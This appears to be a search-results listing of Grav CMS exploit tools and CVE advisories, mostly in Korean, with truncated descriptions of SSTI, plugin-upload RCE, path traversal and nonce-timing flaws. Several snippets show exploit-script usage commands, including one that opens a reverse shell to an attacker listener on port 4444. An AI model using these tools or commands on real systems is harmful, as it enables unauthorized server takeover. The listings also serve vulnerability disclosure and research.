417 matches found
Grav-CMS-RCE-Authenticated
Grav CMS 원격 코드 실행 인증됨 - CVE-2024-28116 정보 이 코드는Graver 깃허브 저장소에서 가져와 이 영상을 기반으로 일부 개선한 것입니다. Grav CMS 버전 1.7.45 미만에 대한 SSTI + RCE 취약점을 이용한 익스플로잇으로, CVE-2024-28116로 명명되었습니다. 이 스크립트는 기본적으로 취약점이 포함된 페이지를 생성하고, 실행한 후, 마지막으로 페이지를 삭제합니다. 사용법 root@kitploit: python3 GravCMSRCE.py -t http://10.10.10.10 -u...
GenGravSSTIExploit
EN GenGravSSTIExploit 는 Grav CMS 버전 -p : https://hostname 형식의 대상 URL. : 포트 번호 기본값 80. 예시: root@kitploit: python GenGravSSTIExploit.py -t http://example.com -p 8080 4. 익스플로잇과 상호 작용 익스플로잇이 성공하면 OS 명령을 실행할 수 있는 URL이 제공됩니다: root@kitploit: + RCE payload injected. Visit the malicious page:...
Graver
Graver 설명 Grav CMSCVE-2024-28116의 인증된 SSTI+RCE를 악용하기 위한 PoCProof of Concept 스크립트입니다. 취약한 Grav CMS가 실행 중인 서버에 악성 RCE 페이지를 생성합니다. 참고 자료: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 참고 사항 인증된 취약점이므로 스크립트에 하드코딩된 Grav CMS 편집자 사용자의 유효한 자격 증명을 사용해야 합니다. 사용 방법 다음은 도구의 사용 예시입니다: root@kitploit: python3...
CVE-2025-50286
Grav CMS v1.7.48 / Admin Plugin v1.10.48 - 인증된 플러그인 업로드를 통한 RCE CVE-2025-50286 Grav CMS v1.7.48 및 Admin Plugin v1.10.48은 '직접 설치Direct Install' 플러그인 업로드 기능을 통해 원격 코드 실행RCE에 취약하여, 인증된 관리자가 서버에서 임의의 PHP 코드를 실행할 수 있습니다. CVE ID CVE-2025-50286 요약 유형: 인증된 원격 코드 실행 RCE 위치: /admin/tools/direct-install 관리자...
grav-cve-2024-28116
CVE-2024-28116 — Grav CMS의 샌드박스 우회를 동반한 SSTI Grav CMS 1.7.44 이하 버전에서 발생하며 1.7.45 버전에서 수정된, 보안 샌드박스 우회가 가능한 서버 측 템플릿 주입SSTI 취약점인 CVE-2024-28116에 대한 분석 및 Docker 재현 자료입니다. 제보자: Maurizio Siddu akabe1 CVSS v3.1 점수: 8.8 High 패치 버전: Grav CMS 1.7.45 저장소 구조 vulnerable Dockerfile Grav CMS 1.7.44 취약 버전...
CVE-2026-65008
CVE-2026-65008 — Grav CMS 2.0.7 인증된 RCE CVE-2026-65008 에 대한 개념 증명PoC: Blueprint::dynamicData의 제한 없는 calluserfuncarray를 통한 Grav CMS 인증된 원격 코드 실행. admin.pages또는 api.pages.write 권한이 있는 사용자는 악성 form frontmatter를 심을 수 있습니다. 이후 어떤 방문자인증되지 않은 사용자 포함가 페이지를 로드하면 페이로드가 웹 서버 사용자 권한으로 실행됩니다. 승인된 테스트 전용. 자신이...
CVE-2021-29440
CVE-2021-29440 Procesamiento Twig inseguro de páginas estáticas que conduce a RCE en Grav CMS 1.7.10 Grav es una plataforma web basada en archivos. El procesamiento Twig de páginas estáticas puede habilitarse en el front matter por cualquier usuario administrativo con permisos para crear o editar...
CVE-2021-21425-RCE
이것은 제 버전입니다. 인터넷에서 많이 찾았지만 그것들은 너무 나빴습니다. 사용법 root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 잠시.. 60초 후에 리스너에서 셸을 얻을 수 있습니다...
CVE-2026-72702
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
CVE-2026-72697
Grav CMS before 2.0.16 contains a path traversal vulnerability in the mediadirectory Twig function that fails to validate filesystem paths, allowing authenticated users to enumerate and access files outside intended scope. Attackers with page authoring privileges can supply arbitrary filesystem...
CVE-2026-72696
Grav CMS before 2.0.16 contains a symlink following vulnerability in Scheduler Job::createLockFile that allows local attackers to overwrite arbitrary files by pre-creating symlinks at predictable lock file paths in the world-writable temp directory. Attackers can place a symlink at the predictabl...
CVE-2026-72695
Grav before 2.0.16 contains a path traversal vulnerability in MediaUploadTrait::deleteFile that allows authenticated users with media management permissions to delete arbitrary files by supplying filenames with directory traversal sequences. The method validates only the basename portion of the...
CVE-2026-72698
Grav CMS before 2.0.16 fails to filter system, site, and theme configuration arrays in sandboxed Twig renders, allowing content editors to read sensitive configuration values. Attackers with page-content edit access can access raw configuration arrays including secrets like cache credentials by...
CVE-2026-72701
Grav CMS before 2.0.16 contains a timing vulnerability in Utils::verifyNonce that uses non-constant-time string comparison with the === operator instead of hashequals for CSRF nonce validation. Attackers can measure response timing differences to recover valid nonce values byte-by-byte through...
EUVD-2026-65219
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet and offsetexists methods that lack field filtering. Attackers with page-edit permissions can call offsetGet on User objects to extract hashed passwords and 2FA secrets, enabling offli...
CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
EUVD-2026-65216
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
CVE-2026-72702
Grav CMS versions before 2.0.16 contain an origin validation bypass in the Uri::referrer() and Pages::referrerRoute() methods. The root cause is an unanchored string prefix match (str_starts_with($referrer, $base)) with no trailing delimiter, meaning an attacker who controls a domain that begins ...
CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
CVE-2026-72701
Grav CMS before 2.0.16 is affected by a timing side-channel vulnerability in Utils::verifyNonce(). The function uses a non-constant-time string comparison (the === operator) instead of PHP's hash_equals() when validating CSRF nonces . An attacker can measure response-time differences across multi...